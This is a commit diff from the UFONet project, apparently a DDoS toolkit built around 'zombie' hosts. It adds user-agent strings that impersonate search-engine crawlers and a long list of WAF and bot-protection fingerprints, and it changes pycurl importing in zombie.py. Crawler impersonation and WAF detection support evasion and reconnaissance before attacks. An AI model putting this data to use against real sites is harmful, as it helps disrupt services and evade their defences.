-Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/47.1.79 like Chrome/47.0.2526.80 Safari/537.36
-Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020c Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36
-Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US
-Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.10586
-Mozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+
-Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600x800; rotate)
-Mozilla/5.0 (PlayStation Vita 3.61) AppleWebKit/537.73 (KHTML, like Gecko) Silk/3.2
-Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
-Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7412.EU
-Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
-Mozilla/5.0 (X11; Linux i686; rv:89.0) Gecko/20100101 Firefox/89.0
-Mozilla/5.0 (Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
-Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:89.0) Gecko/20100101 Firefox/89.0
-Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
-Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
-Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
-Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1
-Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1
-Mozilla/5.0 (iPod touch; CPU iPhone 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1
-Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
-Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36 EdgA/46.3.4.5155
-Mozilla/5.0 (Linux; Android 10; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36 EdgA/46.3.4.5155
-Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36 EdgA/46.3.4.5155
-Mozilla/5.0 (Linux; Android 10; ONEPLUS A6003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36 EdgA/46.3.4.5155
-Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.203
-Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.203
-Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 YaBrowser/21.6.0 Yowser/2.5 Safari/537.36
-Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 YaBrowser/21.5.6.744 Mobile/15E148 Safari/604.1
-Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 YaBrowser/21.5.6.744 Mobile/15E148 Safari/605.1
-Mozilla/5.0 (iPod touch; CPU iPhone 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 YaBrowser/21.5.6.744 Mobile/15E148 Safari/605.1
-Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16.2
-Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
-Opera/9.80 (Macintosh; Intel Mac OS X 10.14.1) Presto/2.12.388 Version/12.16
-Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
-Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52
-Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50
-Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50
-Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11
-Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11
-Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10
-Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01
-Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01
-Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01
-Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00
-Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00
-Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
-Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62
-Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62
-Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61
-Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61
-Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61
-Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60
-Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54
-Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53
-Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51
-Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51
-Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51
-Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5
-Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10
-Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10
-Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01
-Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00
-Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00
-Opera/9.99 (X11; U; sk)
-Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1
-Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0
-Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0
-Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1
-Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0
-Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1
-Opera/9.70 (Linux i686 ; U;  ; en) Presto/2.2.1
-Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70
-Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70
-Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1
-Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1
-Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1
-Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1
-Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1
-Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1
-Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1
-Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1
-Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1
-Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1
-Opera/9.63 (X11; Linux i686; U; ru)
-Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1
-Opera/9.63 (X11; Linux i686; U; en)
-Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1
-Opera/9.63 (X11; Linux i686)
-Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1
-Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1
-Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1
-Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1
-Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1
-Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1
-Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1
-Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1
-Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1
-Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1
-Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1
-Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1
-Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1
-Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1
-Opera/9.60 (X11; Linux x86_64; U)
-Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1
-Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1
-Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60
-Opera/9.52 (X11; Linux x86_64; U; ru)
-Opera/9.52 (X11; Linux x86_64; U; en)
-Opera/9.52 (X11; Linux x86_64; U)
-Opera/9.52 (X11; Linux ppc; U; de)
-Opera/9.52 (X11; Linux i686; U; fr)
-Opera/9.52 (X11; Linux i686; U; en)
-Opera/9.52 (X11; Linux i686; U; cs)
-Opera/9.52 (Macintosh; PPC Mac OS X; U; ja)
-Opera/9.52 (Macintosh; PPC Mac OS X; U; fr)
-Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)
-Opera/9.52 (Macintosh; Intel Mac OS X; U; pt)
-Opera/9.51 (X11; Linux i686; U; Linux Mint; en)
-Opera/9.51 (X11; Linux i686; U; fr)
-Opera/9.51 (X11; Linux i686; U; de)
-Opera/9.51 (Macintosh; Intel Mac OS X; U; en)
-Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51
-Opera/9.50 (X11; Linux x86_64; U; pl)
-Opera/9.50 (X11; Linux x86_64; U; nb)
-Opera/9.50 (X11; Linux ppc; U; en)
-Opera/9.50 (X11; Linux i686; U; es-ES)
-Opera/9.50 (Macintosh; Intel Mac OS X; U; en)
-Opera/9.50 (Macintosh; Intel Mac OS X; U; de)
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50
-Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en)
-Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br)
-Opera/9.30 (Nintendo Wii; U; ; 2047-7;es)
-Opera/9.30 (Nintendo Wii; U; ; 2047-7;en)
-Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr)
-Opera/9.30 (Nintendo Wii; U; ; 2047-7; de)
-Opera/9.27 (X11; Linux i686; U; fr)
-Opera/9.27 (X11; Linux i686; U; en)
-Opera/9.27 (Macintosh; Intel Mac OS X; U; sv)
-Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27
-Opera/9.26 (Windows; U; pl)
-Opera/9.26 (Macintosh; PPC Mac OS X; U; en)
-Opera/9.25 (X11; Linux i686; U; fr-ca)
-Opera/9.25 (X11; Linux i686; U; fr)
-Opera/9.25 (X11; Linux i686; U; en)
-Opera/9.25 (OpenSolaris; U; en)
-Opera/9.25 (Macintosh; PPC Mac OS X; U; en)
-Opera/9.25 (Macintosh; Intel Mac OS X; U; en)
-Opera/9.24 (X11; SunOS i86pc; U; en)
-Opera/9.24 (X11; Linux i686; U; de)
-Opera/9.24 (Macintosh; PPC Mac OS X; U; en)
-Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24
-Opera/9.23 (X11; Linux x86_64; U; en)
-Opera/9.23 (X11; Linux i686; U; es-es)
-Opera/9.23 (X11; Linux i686; U; en)
-Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en)
-Opera/9.23 (Macintosh; Intel Mac OS X; U; ja)
-Opera/9.23 (Mac OS X; ru)
-Opera/9.23 (Mac OS X; fr)
-Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23
-Opera/9.22 (X11; OpenBSD i386; U; en)
-Opera/9.22 (X11; Linux i686; U; en)
-Opera/9.22 (X11; Linux i686; U; de)
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22
-Opera/9.21 (X11; Linux x86_64; U; en)
-Opera/9.21 (X11; Linux i686; U; es-es)
-Opera/9.21 (X11; Linux i686; U; en)
-Opera/9.21 (X11; Linux i686; U; de)
-Opera/9.21 (Macintosh; PPC Mac OS X; U; en)
-Opera/9.21 (Macintosh; Intel Mac OS X; U; en)
-Opera/9.20 (X11; Linux x86_64; U; en)
-Opera/9.20 (X11; Linux ppc; U; en)
-Opera/9.20 (X11; Linux i686; U; tr)
-Opera/9.20 (X11; Linux i686; U; ru)
-Opera/9.20 (X11; Linux i686; U; pl)
-Opera/9.20 (X11; Linux i686; U; es-es)
-Opera/9.20 (X11; Linux i686; U; en)
-Opera/9.20 (X11; Linux i586; U; en)
-Opera/9.12 (X11; Linux i686; U; en) (Ubuntu)
-Opera/9.10 (X11; Linux; U; en)
-Opera/9.10 (X11; Linux x86_64; U; en)
-Opera/9.10 (X11; Linux i686; U; pl)
-Opera/9.10 (X11; Linux i686; U; kubuntu;pl)
-Opera/9.10 (X11; Linux i686; U; en)
-Opera/9.10 (X11; Linux i386; U; en)
-Opera/9.02 (X11; Linux i686; U; pl)
-Opera/9.02 (X11; Linux i686; U; hu)
-Opera/9.02 (X11; Linux i686; U; en)
-Opera/9.02 (X11; Linux i686; U; de)
-Opera/9.02 (Windows; U; nl)
-Opera/9.02 (Windows XP; U; ru)
-Opera/9.01 (X11; Linux i686; U; en)
-Opera/9.01 (X11; FreeBSD 6 i386; U;pl)
-Opera/9.01 (X11; FreeBSD 6 i386; U; en)
-Opera/9.01 (Macintosh; PPC Mac OS X; U; it)
-Opera/9.01 (Macintosh; PPC Mac OS X; U; en)
-Opera/9.00 (X11; Linux i686; U; pl)
-Opera/9.00 (X11; Linux i686; U; en)
-Opera/9.00 (X11; Linux i686; U; de)
-Opera/9.00 (Windows; U)
-Opera/9.00 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en)
-Opera/9.00 (Macintosh; PPC Mac OS X; U; es)
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Sprint:PPC-6700) Opera 8.65 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320)Opera 8.65 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320) Opera 8.65 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [zh-cn]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [nl]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [de]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.65 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC) Opera 8.65 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.60 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.60 [en]
-Opera/8.54 (X11; Linux i686; U; pl)
-Opera/8.54 (X11; Linux i686; U; de)
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54
-Opera/8.52 (X11; Linux x86_64; U; en)
-Opera/8.52 (X11; Linux i686; U; en)
-Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52
-Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8)
-Opera/8.51 (X11; Linux x86_64; U; en)
-Opera/8.51 (X11; Linux i686; U; en)
-Opera/8.51 (Macintosh; PPC Mac OS X; U; de)
-Opera/8.51 (FreeBSD 5.1; U; en)
-Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02
-Opera/8.01 (Macintosh; U; PPC Mac OS; en)
-Opera/8.01 (Macintosh; PPC Mac OS X; U; en)
-Opera/8.0 (X11; Linux i686; U; cs)
-Mozilla/4.0 (compatible; MSIE 6.0; Windows CE) Opera 8.0  [en]
-Mozilla/5.0 (X11; Linux i386; U) Opera 7.60  [en-GB]
-Opera/7.54 (X11; Linux i686; U)  [en]
-Mozilla/5.0 (X11; Linux i686; U) Opera 7.54 [en]
-Mozilla/5.0 (X11; Linux i686; U) Opera 7.54  [en]
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.54  [en]
-Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Opera 7.54  [en]
-Opera/7.53 (X11; Linux i686; U) [en_US]
-Opera/7.51 (X11; SunOS sun4u; U) [de]
-Opera/7.51 (Linux) [en]
-Opera/7.50 (Windows XP; U)
-Mozilla/4.0 (compatible; MSIE 6.0; ; Linux x86_64) Opera 7.50 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; ; Linux i686) Opera 7.50 [en]
-Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.23  [fi]
-Opera/7.11 (Linux 2.6.0-test4 i686; U)  [en]
-Mozilla/5.0 (Linux 2.4.21-0.13mdk i686; U) Opera 7.11  [en]
-Opera/7.10 (Linux Debian;en-US)
-Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows XP) Opera 7.0  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.12  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-4GB i686) Opera 6.12  [de]
-Opera/6.11 (Linux 2.4.18-bf2.4 i686; U)  [en]
-Opera/6.11 (Linux 2.4.18-4GB i686; U)  [en]
-Opera/6.11 (Linux 2.4.10-4GB i686; U)  [en]
-Opera/6.11 (FreeBSD 4.7-RELEASE i386; U)  [en]
-Mozilla/5.0 (Linux 2.4.19-16mdk i686; U) Opera 6.11  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11  [fr]
-Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.4 i686) Opera 6.11  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-13.7 i686) Opera 6.11  [de]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-4GB i686) Opera 6.11  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-16mdk i686) Opera 6.11  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.11  [de]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.10-4GB i686) Opera 6.11  [en]
-Mozilla/5.0 (Linux 2.4.18-ltsp-1 i686; U) Opera 6.1  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19 i686) Opera 6.1  [en]
-Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.1  [de]
-Mozilla/5.0 (Windows XP; U) Opera 6.06  [en]
-Opera/6.05 (Windows XP; U) [en]
+Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.42 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
+Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
+Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
+Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36
+Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)
+Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
+Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
+Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)
+Mozilla/5.0 (compatible; archive.org_bot; +http://www.archive.org/details/archive.org_bot)

+ 71 - 0
core/txt/wafs.txt

@@ -77,3 +77,74 @@ Your access to this site has been limited##Wordfence (Feedjit)
 YUNDUN##Yundun Web Application Firewall (Yundun)
 yunsuo##Yunsuo Web Application Firewall (Yunsuo)
 ZENEDGE##Zenedge Web Application Firewall (Zenedge)
+zenedge##Zenedge Web Application Firewall (Oracle)
+Signal Sciences##Next-Gen WAF (Fastly/Signal Sciences)
+x-sigsci-tags##Next-Gen WAF (Fastly/Signal Sciences)
+x-sigsci-requestid##Next-Gen WAF (Fastly/Signal Sciences)
+Reblaze Secured Access##Reblaze Web Application Firewall (Reblaze)
+rbzid##Reblaze Web Application Firewall (Reblaze)
+AppTrana##AppTrana Web Application Firewall (Indusface)
+DataDome##DataDome Bot Protection (DataDome)
+datadome##DataDome Bot Protection (DataDome)
+kasada##Kasada Bot Defence (Kasada)
+x-kasada-cdn##Kasada Bot Defence (Kasada)
+shieldsquare-captcha##ShieldSquare Bot Mitigation (Radware Bot Manager)
+PerimeterX##PerimeterX Bot Defender (HUMAN/PerimeterX)
+_px3##PerimeterX Bot Defender (HUMAN/PerimeterX)
+StackPath##StackPath WAF (StackPath)
+x-azure-ref##Azure Front Door (Microsoft Azure)
+azure-cdn-tokenization##Azure CDN (Microsoft Azure)
+x-msedge-ref##Azure Front Door (Microsoft Azure)
+x-cache-status: BYPASS-WAF##Microsoft Azure WAF (Microsoft Azure)
+Google-Cloud-Armor##Google Cloud Armor (Google Cloud Platform)
+google-cloud-armor##Google Cloud Armor (Google Cloud Platform)
+x-iinfo##Imperva Cloud WAF (Imperva)
+x-imperva##Imperva Cloud WAF (Imperva)
+imperva##Imperva Cloud WAF (Imperva)
+x-cdn: imperva##Imperva Cloud WAF (Imperva)
+cf-ray##CloudFlare Web Application Firewall (Cloudflare)
+__cf_bm##CloudFlare Bot Management (Cloudflare)
+cf-mitigated##CloudFlare Web Application Firewall (Cloudflare)
+__cflb##CloudFlare Web Application Firewall (Cloudflare)
+x-amzn-waf-action##AWS WAF v2 (Amazon Web Services)
+x-amz-cf-id##CloudFront (Amazon Web Services)
+x-amz-apigw-id##AWS API Gateway WAF (Amazon Web Services)
+fastly##Fastly Edge Security (Fastly)
+x-served-by: cache-##Fastly Edge Security (Fastly)
+sucuri/cloudproxy##CloudProxy WebSite Firewall (Sucuri)
+x-sucuri-id##CloudProxy WebSite Firewall (Sucuri)
+x-sucuri-cache##CloudProxy WebSite Firewall (Sucuri)
+x-distil-cs##Distil Bot Detection (Imperva)
+Distil##Distil Bot Detection (Imperva)
+ddos-guard##DDoS-Guard (DDoS-Guard)
+__ddg##DDoS-Guard (DDoS-Guard)
+qrator##Qrator Anti-DDoS (Qrator Labs)
+x-qrator-id##Qrator Anti-DDoS (Qrator Labs)
+variti##Variti Bot Protection (Variti)
+x-variti##Variti Bot Protection (Variti)
+edgenext##Edgio WAF (Edgio)
+ecdf##Edgio WAF (Edgio)
+Wallarm##Wallarm Next-Gen WAF (Wallarm)
+nemesida-waf##Nemesida WAF (Pentestit)
+naxsi##NAXSI (NBS System)
+coraza##Coraza WAF (OWASP)
+openresty-waf##OpenResty WAF (OpenResty Foundation)
+modsecurity-crs##ModSecurity CRS (OWASP)
+threatx##ThreatX Web App and API Protection (ThreatX)
+x-threatx##ThreatX Web App and API Protection (ThreatX)
+cequence##Cequence Unified API Protection (Cequence Security)
+Open-AppSec##Open-AppSec WAF (Check Point)
+checkpoint-waf##Check Point CloudGuard WAF (Check Point)
+trustwave-ws##Trustwave Managed WAF (Trustwave)
+360wzws##360 Web Application Firewall (Qihoo 360)
+yundun-edu##Aliyun WAF (Alibaba Cloud)
+aliyun##Aliyun WAF (Alibaba Cloud)
+x-acs-action##Aliyun API Gateway (Alibaba Cloud)
+tencent-cloud-waf##Tencent Cloud WAF (Tencent Cloud Computing)
+hwwafsesion##Huawei Cloud WAF (Huawei Cloud)
+huawei-cloud-waf##Huawei Cloud WAF (Huawei Cloud)
+secupress##SecuPress Pro WAF (SecuPress)
+ninjafirewall##NinjaFirewall (NinTechNet)
+bitninja##BitNinja Server Security (BitNinja)
+greywizard##Grey Wizard WAF (Grey Wizard)
+greycortex##GreyCortex Mendel (GreyCortex)

+ 1 - 1
core/update.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

Різницю між файлами не показано, бо вона завелика
+ 680 - 101
core/webgui.py


+ 7 - 4
core/zombie.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -14,9 +14,12 @@ import time, threading, random
 from .randomip import RandomIP
 try:
     import pycurl
-except:
-    print("\nError importing: pycurl lib. \n\n")
-    sys.exit(2)
+except ImportError:
+    from core._ensure import ensure
+    if ensure('pycurl') is None:
+        print("\nError importing: pycurl lib. \n\n")
+        sys.exit(2)
+    import pycurl
 
 class Zombie: # class representing a zombie
     # constructor: function to construct a zombie 

+ 156 - 0
data/board.txt

@@ -0,0 +1,156 @@
